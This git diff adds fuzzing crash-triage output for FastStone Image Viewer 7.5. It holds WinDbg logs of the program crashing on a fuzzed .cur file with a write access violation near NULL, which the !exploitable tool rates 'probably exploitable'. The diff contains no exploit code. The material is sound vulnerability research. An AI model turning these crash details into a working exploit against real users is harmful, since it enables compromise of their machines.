a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..53428ad Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..fff0b0c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x14C8: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x14C8: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b80000 00000000`71ba2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b60000 00000000`71b7b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71990000 00000000`719b4000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`719c0000 00000000`71b59000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71960000 00000000`71983000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`034c0000 00000000`034e3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`71940000 00000000`71959000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(14c8.2e8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=080655f0 edx=00000000 esi=00000000 edi=11714fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.811415795966035040000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 4.261280000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-12.1126 3.82341e-013 -21.3023 2.11288e+014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08148130 080c5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 0027b000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 0027b000 3b1456a5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0d7 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0027b000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..fff0b0c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3384/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x14C8: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x14C8: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b80000 00000000`71ba2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b60000 00000000`71b7b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71990000 00000000`719b4000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`719c0000 00000000`71b59000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71960000 00000000`71983000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`034c0000 00000000`034e3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`71940000 00000000`71959000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(14c8.2e8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=080655f0 edx=00000000 esi=00000000 edi=11714fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.811415795966035040000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 4.261280000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-12.1126 3.82341e-013 -21.3023 2.11288e+014 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08148130 080c5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 0027b000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 0027b000 3b1456a5 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0d7 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0027b000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f 